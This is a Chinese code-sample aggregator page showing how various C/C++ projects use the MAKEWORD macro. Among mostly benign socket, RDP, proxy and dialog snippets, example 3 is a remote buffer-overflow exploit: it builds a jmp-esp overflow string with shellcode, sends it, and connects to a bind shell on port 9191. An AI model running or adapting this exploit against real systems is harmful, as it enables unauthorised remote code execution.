• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

C++ MAKEWORD函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中MAKEWORD函数的典型用法代码示例。如果您正苦于以下问题:C++ MAKEWORD函数的具体用法?C++ MAKEWORD怎么用?C++ MAKEWORD使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了MAKEWORD函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: main

int __cdecl main(int argc, char *argv[])
{
    WORD VersionRequested = MAKEWORD(2, 2);
    WSADATA WsaData;

    int nLength;
    int err;
    int InvalidSocketID = -1;
    struct sockaddr_in mySockaddr;
    char data[BUFFERSIZE];

    /*Initialize the PAL environment*/
    err = PAL_Initialize(argc, argv);
    if(0 != err)
    {
        return FAIL;
    }
    /*initialize to use winsock2 .dll*/
    err = WSAStartup(VersionRequested, &WsaData);
    if(err != 0)
    {
        Fail("\nFailed to find a usable WinSock DLL!\n");
    }

    /*Confirm that the WinSock DLL supports 2.2.*/
    if(LOBYTE( WsaData.wVersion ) != 2 ||
            HIBYTE( WsaData.wVersion ) != 2)
    {
        Trace("\nFailed to find a usable WinSock DLL!\n");
        err = WSACleanup();
        if(SOCKET_ERROR == err)
        {
            Trace("\nFailed to call WSACleanup API!\n");
       }
        Fail("");
    }


    nLength = sizeof(struct sockaddr);
    memset(data, 0, BUFFERSIZE);

    /*retrive data with an invalid socket*/ 
    err = recvfrom(InvalidSocketID, data, BUFFERSIZE, 0,
                (struct sockaddr*)&mySockaddr,&nLength);

    if(WSAENOTSOCK != GetLastError() || SOCKET_ERROR != err)
    {
        Trace("\nFailed to call recvfrom API for a negative test "
                "by passing an invalid socket descriptor!\n");

        err = WSACleanup();
        if(SOCKET_ERROR == err)
        {
            Trace("\nFailed to call WSACleanup API!\n");
        }
        Fail("");
    }

    err = WSACleanup();
    if(SOCKET_ERROR == err)
    {
        Fail("\nFailed to call WSACleanup API!\n");
    }

    PAL_Terminate();
    return PASS;
}
开发者ID:smartmaster,项目名称:sscli,代码行数:67,代码来源:recvfrom_neg_server.c


示例2: main

int main(){
  
  double result=0;
  int i=0;
  int error = 0;
  erlang_pid pid;
  char host[HOSTNAMESZ];
  char server_node[HOSTNAMESZ];
  char client_node[HOSTNAMESZ];
  CORBA_Environment *env;
  
  /* Initiate names */
#ifdef __WIN32__
  WORD wVersionRequested;
  WSADATA wsaData;

  wVersionRequested = MAKEWORD(1, 1);
  if ((error = WSAStartup(wVersionRequested, &wsaData))) {
      fprintf(stderr,"Can't initialize windows sockets: %d",error);
      return 0;
  }
#endif
  error = gethostname(host,HOSTNAMESZ);
  if (error) {
#ifdef __WIN32__
      fprintf(stderr,"can't find own hostname (error = %ld) !\n",WSAGetLastError());
#else /* not __WIN32__ */
      fprintf(stderr,"can't find own hostname !\n");
#endif
  }
  sprintf(client_node,"%[email protected]%s",CLNODENAME,host);
  sprintf(server_node,"%[email protected]%s",SNODENAME,host);
    
  /* Create and init CORBA_Environment */
  env = CORBA_Environment_alloc(INBUFSZ,OUTBUFSZ);
  
  /* Initiating the connection */
  erl_init(NULL,0);
  erl_connect_init(50,COOKIE,0);

  /* Initiating pid*/
  strcpy(pid.node,client_node);
  pid.num = 99;
  pid.serial = 0;
  pid.creation = 0;

  /* Fixing environment variable */
  env->_fd=erl_connect(server_node);
  strcpy(env->_regname,SREGNAME);
  env->_to_pid = NULL;
  env->_from_pid = &pid;
  
  if (env->_fd < 0) {
    fprintf(stderr,"Error : Cannot connect to Server\n");

    /* Free env & buffers */
    CORBA_free(env->_inbuf);
    CORBA_free(env->_outbuf);
    CORBA_free(env);
    exit(1);
  }
  
  /* Calling the init function */
  rmod_random_init(NULL, 1, 2, 3, env);
 
  switch(env->_major) {
  case CORBA_NO_EXCEPTION: /* Success */
    printf("Init complete !\n");
    break;
  case CORBA_SYSTEM_EXCEPTION: /* System exception */
    printf("Init call failure, reason : %s\n",(char *) CORBA_exception_value(env));
    CORBA_exception_free(env);
    client_exit(env);
  default: /* Should not come here */
    client_exit(env);
  }

  /* Calling the produce function */
  for(i=1; i<=10; i++) {
    result = rmod_random_produce(NULL, env);

    switch(env->_major) {
    case CORBA_NO_EXCEPTION: /* Success */
      break;
    case CORBA_SYSTEM_EXCEPTION: /* System exception */
      printf("Init call failure, reason : %s\n",(char *) CORBA_exception_value(env));
      CORBA_exception_free(env);
      client_exit(env);
    default: /* Should not come here */
      client_exit(env);
    }

    printf("the random number nr%d is %f\n",i,result);
  }

  /* Closing the connection */
  erl_close_connection(env->_fd);
  
  /* Free env & buffers */
  CORBA_free(env->_inbuf);
//.........这里部分代码省略.........
开发者ID:Dasudian,项目名称:otp,代码行数:101,代码来源:client.c


示例3: main

// ***************************************************************
int main(int argc,char *argv[])
{
	WSADATA wsdata;
	int sock;
	unsigned short port = 9191;
	struct sockaddr_in target;
	unsigned long ip;
	char opt;
	int tgt_type = 0;
	char *tgt_host;

	if (argc<2) { usage(argv[0]); }

	while((opt = getopt(argc,argv,"h:t:v"))!=EOF) {
		switch(opt)
		{
			case 'h':
				tgt_host = optarg;
				snprintf(tgt_net,127, "\\\\%s", optarg);
				snprintf(ipc,127, "\\\\%s\\ipc$", optarg);
				break;
			case 't':
				tgt_type = atoi(optarg);
				if (tgt_type == 0 || tgt_type > sizeof(targets) / 8) {
					showtargets();
				}
				break;
			default:
				usage(argv[0]);
				break;
		}
	}

	printf("\n[+] Prepare exploit string\n");

	memset(expl, 0x00, sizeof(expl));
	memset(expl, 0x41, 2064);
	memcpy(&expl[2044], (unsigned char *) &targets[tgt_type-1].jmpesp, 4);
	//memcpy(&expl[2044], "BBBB", 4);
	memcpy(&expl[2064], shellcode, sizeof(shellcode));		// begin shellcode here

	memset(expl_uni, 0x00, sizeof(expl_uni));
	memset(tgt_net_uni, 0x00, sizeof(tgt_net_uni));
	mbstowcs(tgt_net_uni, tgt_net, sizeof(tgt_net));

	switch(tgt_type) {
		case 1:
		case 3:
			MultiByteToWideChar(CP_ACP, 0, expl, sizeof(expl), (unsigned short *)expl_uni,sizeof(expl_uni));
			// MultiByteToWideChar - 100 % work at XP+SP0+Rollup
			break;
		case 2:
			mbstowcs(expl_uni, expl, sizeof(expl)); // work at XP+SP1
			break;
		default:
			mbstowcs(expl_uni, expl, sizeof(expl));
			break;
	}

	beginthread(send_exp,0,NULL);

	printf("[+] Sleep at 2s ... \n");
	sleep(2000);

	if (WSAStartup(MAKEWORD(2,0),&wsdata)!=0) {
		printf("[x] WSAStartup error...\n");
		WSACleanup();
        return 1;
	}
	printf("[+] Initialize WSAStartup - OK\n");

	if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {

		printf("[x] Socket not initialized! Exiting...\n");
		WSACleanup();
        return 1;
	}
	printf("[*] Socket initialized - OK\n");

	ip=gimmeip(tgt_host);
	memset(&target, 0, sizeof(target));
	target.sin_family=AF_INET;
	target.sin_addr.s_addr = ip;
	target.sin_port=htons(port);

	printf("[+] Try connecting to %s:%d ...\n",tgt_host,port);

	if(connect(sock,(struct sockaddr *)&target, sizeof(target))!=0) {
			printf("\n[x] Exploit failed or is Filtred. Exiting...\n");
			WSACleanup();
			exit(1);
	}

	printf("[*] Connected to shell at %s:%d\n\n",inet_ntoa(target.sin_addr),port);
	cmdshell2(sock);
	closesocket(sock);
	WSACleanup();
	return 0;
}
开发者ID:BuddhaLabs,项目名称:PacketStorm-Exploits,代码行数:100,代码来源:rpc_wks_bo.c


示例4: main

int main(int argc, char *argv[])
{
    static struct sockaddr_in ZERO_SOCKADDR;

    WSADATA w;
    struct sockaddr_in client, server = ZERO_SOCKADDR;
    SOCKADDR *c = (SOCKADDR *)&client;
    int cLen = (int)sizeof(struct sockaddr_in);
    int sd = 0;
    char *dbPath = NULL;
    unsigned short port = 0;
    User *head = NULL;
	char doLogin = FALSE;
	char doShutDown = FALSE;
	time_t currTime;
	int option = 0;
	char ipAddr[MAX_IP_LEN];
	char initialized = FALSE;

    // Test for correct number of arguments
    if (argc != 3)
    {
       usage();
       exit(0);
    }

    dbPath = argv[1];
    port = atoi(argv[2]);

    // Validate port number
    if (!port || port < 256 || port > 65535)
    {
        fprintf(stderr, "Invalid port number.\n");
        usage();
        exit(0);
    }
    
    // Open and parse the database file
    head = readDatabase(dbPath);
    if (!head)
        DieWithError("Error reading database file.\n");

    // Initialize Winsock
    if (WSAStartup(MAKEWORD(2, 0), &w))
        DieWithError("WSAStartup() failed.");

    // Open a datagram socket
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sd == INVALID_SOCKET)
        DieWithError("Could not create socket.\n");

    // Clear out server struct
    server = ZERO_SOCKADDR;

    // Set family, port, and address
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = htonl(INADDR_ANY);

    // Bind to the local address
    if (bind(sd, (struct sockaddr *)&server, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
    {
        closesocket(sd);
        DieWithError("bind() failed");
    }

    printf("\nWaiting for connection...\n\n");

    for (;;) // Run forever
    {
		char buffer[BUFFER_SIZE];
		User *clientUser;

		// Shut down the server if the flag is set
		if (doShutDown == TRUE)
			break;

		// Wait for client to send initial packet to confirm connection
		if (!doLogin && recvDecrypt(sd, buffer, BUFFER_SIZE, c, &cLen) == SOCKET_ERROR)
		{
			fprintf(stderr, "recvfrom() failed.\n");
			continue;
		}

		// Login on initial connection and if flag is set
		if(!strcmp(buffer, "connect") || doLogin)
		{
			// Get IP address if first transmission
			if (!initialized)
			{	
				recvDecrypt(sd, buffer, BUFFER_SIZE, c, &cLen);
				sscanf(buffer, "%s", &ipAddr);
			}

			// Loop until successful login
			while (!(clientUser = login(sd, c, cLen, head, ipAddr)))
				sendEncrypt(sd, "\nInvalid credentials. Please try again.\n", BUFFER_SIZE, 0, c, cLen);
			initialized = TRUE;
		}

//.........这里部分代码省略.........
开发者ID:mabdullah2010,项目名称:code-sample,代码行数:101,代码来源:BankServer.c


示例5: GetWindowsVersion

WORD GetWindowsVersion()
{
    DWORD ver = GetVersion();
    return MAKEWORD(HIBYTE(ver), LOBYTE(ver));
}
开发者ID:shienme,项目名称:sumatrapdf,代码行数:5,代码来源:WinUtil.cpp


示例6: main

int main(int argc, char *argv[])
{
    int winX = 0;
    int winY = 0;
    int winWidth = 320;
    int winHeight = 480;
    FBNativeWindowType windowId = NULL;
    int iWindowId  = 0;

    //
    // Parse command line arguments
    //
    for (int i=1; i<argc; i++) {
        if (!strcmp(argv[i], "-windowid")) {
            if (++i >= argc || sscanf(argv[i],"%d", &iWindowId) != 1) {
                printUsage(argv[0]);
            }
        }
        else if (!strncmp(argv[i], "-x", 2)) {
            if (++i >= argc || sscanf(argv[i],"%d", &winX) != 1) {
                printUsage(argv[0]);
            }
        }
        else if (!strncmp(argv[i], "-y", 2)) {
            if (++i >= argc || sscanf(argv[i],"%d", &winY) != 1) {
                printUsage(argv[0]);
            }
        }
        else if (!strncmp(argv[i], "-width", 6)) {
            if (++i >= argc || sscanf(argv[i],"%d", &winWidth) != 1) {
                printUsage(argv[0]);
            }
        }
        else if (!strncmp(argv[i], "-height", 7)) {
            if (++i >= argc || sscanf(argv[i],"%d", &winHeight) != 1) {
                printUsage(argv[0]);
            }
        }
    }

    windowId = (FBNativeWindowType)iWindowId;
    if (!windowId) {
        // window id must be provided
        printUsage(argv[0]);
    }

#if 0 //Enable to attach gdb to renderer on startup
    fprintf(stderr, "renderer pid %d , press any key to continue...\n", getpid());
    getchar();
#else
    fprintf(stderr, "renderer pid %d \n", getpid());
#endif

#ifdef _WIN32
    WSADATA  wsaData;
    int      rc = WSAStartup( MAKEWORD(2,2), &wsaData);
    if (rc != 0) {
            printf( "could not initialize Winsock\n" );
    }
#endif

#ifdef __linux__
    // some OpenGL implementations may call X functions
    // it is safer to synchronize all X calls made by all the
    // rendering threads. (although the calls we do are locked
    // in the FrameBuffer singleton object).
    XInitThreads();
#endif

    //
    // initialize Framebuffer
    //
    bool inited = FrameBuffer::initialize(winWidth, winHeight);
    if (!inited) {
        fprintf(stderr,"Failed to initialize Framebuffer\n");
        return -1;
    }

    inited = FrameBuffer::setupSubWindow(windowId,
                                         winX, winY, winWidth, winHeight, 0.0);
    if (!inited) {
        fprintf(stderr,"Failed to create subwindow Framebuffer\n");
        return -1;
    }

    //
    // Create and run a render server listening to the given port number
    //
    char addr[256];
    RenderServer *server = RenderServer::create(addr, sizeof(addr));
    if (!server) {
        fprintf(stderr,"Cannot initialize render server\n");
        return -1;
    }
    printf("render server listening at '%s'\n", addr);

#ifndef _WIN32
    //
    // run the server listener loop
    //
//.........这里部分代码省略.........
开发者ID:Ayden-Liang,项目名称:platform_sdk,代码行数:101,代码来源:main.cpp


示例7: main

int main(int argc, char* argv[])
{
	WSADATA wsaData;
	freerdp_listener* instance;
	char* file;
	char name[MAX_PATH];
	long port = 3389, i;
	BOOL localOnly = FALSE;
	errno = 0;

	for (i = 1; i < argc; i++)
	{
		char* arg = argv[i];

		if (strncmp(arg, "--fast", 7) == 0)
			test_dump_rfx_realtime = FALSE;
		else if (strncmp(arg, "--port=", 7) == 0)
		{
			StrSep(&arg, "=");

			if (!arg)
				return -1;

			port = strtol(arg, NULL, 10);

			if ((port < 1) || (port > 0xFFFF) || (errno != 0))
				return -1;
		}
		else if (strcmp(arg, "--local-only"))
			localOnly = TRUE;
		else if (strncmp(arg, "--", 2))
			test_pcap_file = arg;
	}

	WTSRegisterWtsApiFunctionTable(FreeRDP_InitWtsApi());
	winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT);
	instance = freerdp_listener_new();

	if (!instance)
		return -1;

	instance->PeerAccepted = test_peer_accepted;

	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
	{
		freerdp_listener_free(instance);
		return -1;
	}

	/* Open the server socket and start listening. */
	sprintf_s(name, sizeof(name), "tfreerdp-server.%ld", port);
	file = GetKnownSubPath(KNOWN_PATH_TEMP, name);

	if (!file)
	{
		freerdp_listener_free(instance);
		WSACleanup();
		return -1;
	}

	if ((localOnly || instance->Open(instance, NULL, port)) &&
	    instance->OpenLocal(instance, file))
	{
		/* Entering the server main loop. In a real server the listener can be run in its own thread. */
		test_server_mainloop(instance);
	}

	free(file);
	freerdp_listener_free(instance);
	WSACleanup();
	return 0;
}
开发者ID:kevans91,项目名称:FreeRDP,代码行数:72,代码来源:sfreerdp.c


示例8: sizeof

bool SocksParser::UDPResponse( SERVICE_INFO& svc )
{
	/*
	+----+------+------+----------+----------+----------+
	|RSV | FRAG | ATYP | DST.ADDR | DST.gListenSocket |   DATA   |
	+----+------+------+----------+----------+----------+
	| 2  |  1   |  1   | Variable |    2     | Variable |
	+----+------+------+----------+----------+----------+
	*/
	int i = 0;
	sockaddr_in desireAddr,SourceAddr;

	desireAddr.sin_family = AF_INET;

	socklen_t nSockSize = sizeof(SourceAddr);
	int nStartPos = 0;
	char buffer[1024*4];

	int nCount = recvfrom(svc.usocket,buffer,1024*4,0,(sockaddr*)&SourceAddr,&nSockSize);

	if (nCount == SOCKET_ERROR)
	{
		debugLog(_T("Recvfrom() Error!"));
		return FALSE;
	}

	buffer[nCount] = 0;

	//通过端口判断来源
	if (SourceAddr.sin_port == svc.caddr.sin_port)
	{
		int nAType = buffer[3];
		infoLog(_T("The address type : %d " ),nAType);

		if (nAType == 0x01)
		{
			infoLog(_T("The disire socket : %d.%d.%d.%d"),buffer[4]&0xff,buffer[5]&0xff,buffer[6]&0xff , buffer[7]&0xff);

			desireAddr.sin_addr.s_addr =MAKELONG(MAKEWORD((buffer[4]&0xff),(buffer[5]&0xff)),
				MAKEWORD((buffer[6]&0xff),(buffer[7]&0xff)));;

			infoLog(_T("The disire socket : %d"),(buffer[8]&0xff)*256 + (unsigned char)buffer[9]);
			desireAddr.sin_port  = htons((buffer[8]&0xff)*256 + (unsigned char)buffer[9]);
			nStartPos = 10;
		}
		else if (nAType == 0x03)
		{
			int nDomainNameSize = buffer[4]&0xff;
			char szDomainName[100];

			for (i = 0;i < nDomainNameSize;++i)
				szDomainName[i] = buffer[i+5];

			szDomainName[i] = 0;

			infoLog(_T("The disire doaminname : %s"),szDomainName);

			desireAddr.sin_addr = GetName(szDomainName);

// 			m_csDns.Enter();
// 			{
// 				m_dns[std::string(inet_ntoa(desireAddr.sin_addr))] = std::string(szDomainName);
// 			}
// 			m_csDns.Leave();
			
			i += 5;

			infoLog(_T("the disire socket : %d"),(buffer[i]&0xff)*256 + (unsigned char)buffer[i+1]);

			desireAddr.sin_port = htons((buffer[i]&0xff)*256 + (unsigned char)buffer[i+1]);
			nStartPos = i + 2;
		}
		else if (nAType == 0x04)
		{
			//ipv6 not implement:)
		}
		nCount -= nStartPos;
		sendto(svc.usocket,buffer+nStartPos,nCount,0,(sockaddr*)&desireAddr,sizeof(desireAddr));
	}
	else
	{
		//封装这个消息
		infoLog(_T("GOT MESSAGE FROM : %s :%d"),inet_ntoa(SourceAddr.sin_addr),ntohs(SourceAddr.sin_port));

		char reply[1024*4];
		if (m_dns.find(std::string(inet_ntoa(SourceAddr.sin_addr))) == m_dns.end())
		{
			reply[0] = reply[1] = reply[2] = 0;
			reply[3] = 0x01;
			memcpy(reply+4,(void*)&SourceAddr.sin_addr.s_addr,4);

			reply[8] = ntohs(SourceAddr.sin_port)/256;
			reply[9] = ntohs(SourceAddr.sin_port)%256;
			for (i = 0;i < nCount;++i)
				reply[10+i] = buffer[i];
			sendto(svc.usocket,reply,10+nCount,0,(sockaddr*)&svc.caddr,sizeof(sockaddr));
		}
		else
		{
			reply[0] = reply[1] = reply[2] = 0;
//.........这里部分代码省略.........
开发者ID:FirstBlue,项目名称:xsocks,代码行数:101,代码来源:SocksParser.cpp


示例9: DlgProcHotkeyOpts

static BOOL CALLBACK DlgProcHotkeyOpts(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
    switch (msg) {
        case WM_INITDIALOG:
            {
                DBVARIANT dbv;

                TranslateDialogDefault(hwndDlg);

                CheckDlgButton(hwndDlg, IDC_SHOWHIDE, DBGetContactSettingByte(NULL, "CList", "HKEnShowHide", 0) ? BST_CHECKED : BST_UNCHECKED);         
                CheckDlgButton(hwndDlg, IDC_READMSG, DBGetContactSettingByte(NULL, "CList", "HKEnReadMsg", 0) ? BST_CHECKED : BST_UNCHECKED);           
                CheckDlgButton(hwndDlg, IDC_NETSEARCH, DBGetContactSettingByte(NULL, "CList", "HKEnNetSearch", 0) ? BST_CHECKED : BST_UNCHECKED);           
                CheckDlgButton(hwndDlg, IDC_SHOWOPTIONS, DBGetContactSettingByte(NULL, "CList", "HKEnShowOptions", 0) ? BST_CHECKED : BST_UNCHECKED);

                EnableWindow(GetDlgItem(hwndDlg, IDC_HKSHOWHIDE), IsDlgButtonChecked(hwndDlg, IDC_SHOWHIDE));
                EnableWindow(GetDlgItem(hwndDlg, IDC_HKREADMSG), IsDlgButtonChecked(hwndDlg, IDC_READMSG));
                EnableWindow(GetDlgItem(hwndDlg, IDC_HKSEARCH), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));
                EnableWindow(GetDlgItem(hwndDlg, IDC_SEARCHURL), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));
                EnableWindow(GetDlgItem(hwndDlg, IDC_SEARCHNEWWND), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));
                EnableWindow(GetDlgItem(hwndDlg, IDC_HOTKEYURLSTR), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));                    
                EnableWindow(GetDlgItem(hwndDlg, IDC_HKSHOWOPTIONS), IsDlgButtonChecked(hwndDlg, IDC_SHOWOPTIONS));

                SendDlgItemMessage(hwndDlg, IDC_HKSHOWHIDE, HKM_SETHOTKEY, DBGetContactSettingWord(NULL, "CList", "HKShowHide", MAKEWORD('A', HOTKEYF_CONTROL | HOTKEYF_SHIFT)), 0);
                SendDlgItemMessage(hwndDlg, IDC_HKREADMSG, HKM_SETHOTKEY, DBGetContactSettingWord(NULL, "CList", "HKReadMsg", MAKEWORD('I', HOTKEYF_CONTROL | HOTKEYF_SHIFT)), 0);
                SendDlgItemMessage(hwndDlg, IDC_HKSEARCH, HKM_SETHOTKEY, DBGetContactSettingWord(NULL, "CList", "HKNetSearch", MAKEWORD('S', HOTKEYF_CONTROL | HOTKEYF_SHIFT)), 0);
                SendDlgItemMessage(hwndDlg, IDC_HKSHOWOPTIONS, HKM_SETHOTKEY, DBGetContactSettingWord(NULL, "CList", "HKShowOptions", MAKEWORD('O', HOTKEYF_CONTROL | HOTKEYF_SHIFT)), 0);
                if (!DBGetContactSetting(NULL, "CList", "SearchUrl", &dbv)) {
                    SetDlgItemTextA(hwndDlg, IDC_SEARCHURL, dbv.pszVal);
                    mir_free(dbv.pszVal);
                } else
                    SetDlgItemTextA(hwndDlg, IDC_SEARCHURL, "http://www.google.com/");
                CheckDlgButton(hwndDlg, IDC_SEARCHNEWWND, DBGetContactSettingByte(NULL, "CList", "HKSearchNewWnd", 0) ? BST_CHECKED : BST_UNCHECKED);
                return TRUE;
            }
        case WM_COMMAND:
            if (LOWORD(wParam) == IDC_SEARCHURL && (HIWORD(wParam) != EN_CHANGE || (HWND) lParam != GetFocus()))
                return 0;
            SendMessage(GetParent(hwndDlg), PSM_CHANGED, 0, 0);
            switch (LOWORD(wParam)) {
                case IDC_SHOWHIDE:
                    EnableWindow(GetDlgItem(hwndDlg, IDC_HKSHOWHIDE), IsDlgButtonChecked(hwndDlg, IDC_SHOWHIDE));
                    break;
                case IDC_READMSG:
                    EnableWindow(GetDlgItem(hwndDlg, IDC_HKREADMSG), IsDlgButtonChecked(hwndDlg, IDC_READMSG));
                    break;
                case IDC_NETSEARCH:
                    EnableWindow(GetDlgItem(hwndDlg, IDC_HKSEARCH), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));
                    EnableWindow(GetDlgItem(hwndDlg, IDC_SEARCHURL), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));
                    EnableWindow(GetDlgItem(hwndDlg, IDC_SEARCHNEWWND), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));                    
                    EnableWindow(GetDlgItem(hwndDlg, IDC_HOTKEYURLSTR), IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));                    
                    break;
                case IDC_SHOWOPTIONS:
                    EnableWindow(GetDlgItem(hwndDlg, IDC_HKSHOWOPTIONS), IsDlgButtonChecked(hwndDlg, IDC_SHOWOPTIONS));
                    break;
            }
            break;
        case WM_NOTIFY:
            switch (((LPNMHDR) lParam)->code) {
                case PSN_APPLY:
                    {
                        char str[256];
                        pcli->pfnHotKeysUnregister((HWND) CallService(MS_CLUI_GETHWND, 0, 0));
                        DBWriteContactSettingByte(NULL, "CList", "HKEnShowHide", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_SHOWHIDE));
                        DBWriteContactSettingWord(NULL, "CList", "HKShowHide", (WORD) SendDlgItemMessage(hwndDlg, IDC_HKSHOWHIDE, HKM_GETHOTKEY, 0, 0));
                        DBWriteContactSettingByte(NULL, "CList", "HKEnReadMsg", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_READMSG));
                        DBWriteContactSettingWord(NULL, "CList", "HKReadMsg", (WORD) SendDlgItemMessage(hwndDlg, IDC_HKREADMSG, HKM_GETHOTKEY, 0, 0));
                        DBWriteContactSettingByte(NULL, "CList", "HKEnNetSearch", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_NETSEARCH));
                        DBWriteContactSettingWord(NULL, "CList", "HKNetSearch", (WORD) SendDlgItemMessage(hwndDlg, IDC_HKSEARCH, HKM_GETHOTKEY, 0, 0));
                        GetDlgItemTextA(hwndDlg, IDC_SEARCHURL, str, sizeof(str));
                        DBWriteContactSettingString(NULL, "CList", "SearchUrl", str);
                        DBWriteContactSettingByte(NULL, "CList", "HKSearchNewWnd", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_SEARCHNEWWND));
                        DBWriteContactSettingByte(NULL, "CList", "HKEnShowOptions", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_SHOWOPTIONS));
                        DBWriteContactSettingWord(NULL, "CList", "HKShowOptions", (WORD) SendDlgItemMessage(hwndDlg, IDC_HKSHOWOPTIONS, HKM_GETHOTKEY, 0, 0));
                        pcli->pfnHotKeysRegister((HWND) CallService(MS_CLUI_GETHWND, 0, 0));
                        return TRUE;
                    }
            }
            break;
    }
    return FALSE;
}
开发者ID:BackupTheBerlios,项目名称:mimplugins-svn,代码行数:81,代码来源:clistopts.c


示例10: DlgProcGenOpts


//.........这里部分代码省略.........
            SendDlgItemMessage(hwndDlg, IDC_BLINKSPIN, UDM_SETRANGE, 0, MAKELONG(0x3FFF, 250));
            SendDlgItemMessage(hwndDlg, IDC_BLINKSPIN, UDM_SETPOS, 0, MAKELONG(DBGetContactSettingWord(NULL, "CList", "IconFlashTime", 550), 0));
            CheckDlgButton(hwndDlg, IDC_NOTRAYINFOTIPS, g_CluiData.bNoTrayTips ? 1 : 0);
            return TRUE;
        case WM_COMMAND:
            if (LOWORD(wParam) == IDC_AUTOHIDE) {
                EnableWindow(GetDlgItem(hwndDlg, IDC_HIDETIME), IsDlgButtonChecked(hwndDlg, IDC_AUTOHIDE));
                EnableWindow(GetDlgItem(hwndDlg, IDC_HIDETIMESPIN), IsDlgButtonChecked(hwndDlg, IDC_AUTOHIDE));
            }
            if (LOWORD(wParam) == IDC_DONTCYCLE || LOWORD(wParam) == IDC_CYCLE || LOWORD(wParam) == IDC_MULTITRAY) {
                EnableWindow(GetDlgItem(hwndDlg, IDC_PRIMARYSTATUS), IsDlgButtonChecked(hwndDlg, IDC_DONTCYCLE));
                EnableWindow(GetDlgItem(hwndDlg, IDC_CYCLETIME), IsDlgButtonChecked(hwndDlg, IDC_CYCLE));
                EnableWindow(GetDlgItem(hwndDlg, IDC_CYCLETIMESPIN), IsDlgButtonChecked(hwndDlg, IDC_CYCLE));
                EnableWindow(GetDlgItem(hwndDlg, IDC_ALWAYSMULTI), IsDlgButtonChecked(hwndDlg, IDC_MULTITRAY));
            }
            if ((LOWORD(wParam) == IDC_HIDETIME || LOWORD(wParam) == IDC_CYCLETIME) && HIWORD(wParam) != EN_CHANGE)
                break;
            if (LOWORD(wParam) == IDC_PRIMARYSTATUS && HIWORD(wParam) != CBN_SELCHANGE)
                break;
            if ((LOWORD(wParam) == IDC_HIDETIME || LOWORD(wParam) == IDC_CYCLETIME) && (HIWORD(wParam) != EN_CHANGE || (HWND) lParam != GetFocus()))
                return 0;
            if (LOWORD(wParam) == IDC_BLINKTIME && HIWORD(wParam) != EN_CHANGE || (HWND) lParam != GetFocus())
                return 0; // dont make apply enabled during buddy set crap
            SendMessage(GetParent(hwndDlg), PSM_CHANGED, 0, 0);
            break;
        case WM_NOTIFY:
            switch (((LPNMHDR) lParam)->idFrom) {
                case 0:
                    switch (((LPNMHDR) lParam)->code) {
                        case PSN_APPLY:
                            DBWriteContactSettingByte(NULL, "CList", "HideOffline", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_HIDEOFFLINE)); {
                                DWORD caps = CallService(MS_CLUI_GETCAPS, CLUICAPS_FLAGS1, 0);
                                if (caps & CLUIF_HIDEEMPTYGROUPS)
                                    DBWriteContactSettingByte(NULL, "CList", "HideEmptyGroups", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_HIDEEMPTYGROUPS));
                                if (caps & CLUIF_DISABLEGROUPS)
                                    DBWriteContactSettingByte(NULL, "CList", "UseGroups", (BYTE) ! IsDlgButtonChecked(hwndDlg, IDC_DISABLEGROUPS));
                                if (!(caps & CLUIF_HASONTOPOPTION)) {
                                    DBWriteContactSettingByte(NULL, "CList", "OnTop", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_ONTOP));
                                    SetWindowPos((HWND) CallService(MS_CLUI_GETHWND, 0, 0), IsDlgButtonChecked(hwndDlg, IDC_ONTOP) ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
                                }
                                if (!(caps & CLUIF_HASAUTOHIDEOPTION)) {
                                    DBWriteContactSettingByte(NULL, "CList", "AutoHide", (BYTE) IsDlgButtonChecked(hwndDlg, IDC_AUTOHIDE));
                                    DBWriteContactSettingWord(NULL, "CList", "HideTime", (WORD) SendDlgItemMessage(hwndDlg, IDC_HIDETIMESPIN, UDM_GETPOS, 0, 0));
                                }
                            }

							{
								int i;
								LRESULT curSel;

								for(i = 0; sortCtrlIDs[i] != 0; i++) {
									curSel = SendDlgItemMessage(hwndDlg, sortCtrlIDs[i], CB_GETCURSEL, 0, 0);
									if(curSel == 0 || curSel == CB_ERR)
										g_CluiData.sortOrder[i] = 0;
									else
										g_CluiData.sortOrder[i] = (BYTE)curSel;
								}
								DBWriteContactSettingDword(NULL, "CList", "SortOrder", 
									MAKELONG(MAKEWORD(g_CluiData.sortOrder[0], g_CluiData.sortOrder[1]),
									MAKEWORD(g_CluiData.sortOrder[2], 0)));

								if(g_CluiData.sortOrder[0] == SORTBY_LASTMSG || g_CluiData.sortOrder[1] == SORTBY_LASTMSG || g_CluiData.sortOrder[2] == SORTBY_LASTMSG) {
									int i;

									for(i = 0; i < g_nextExtraCacheEntry; i++)
										g_ExtraCache[i].dwLastMsgTime = INTSORT_GetLastMsgTime(g_ExtraCache[i].hContact);
								}
							}

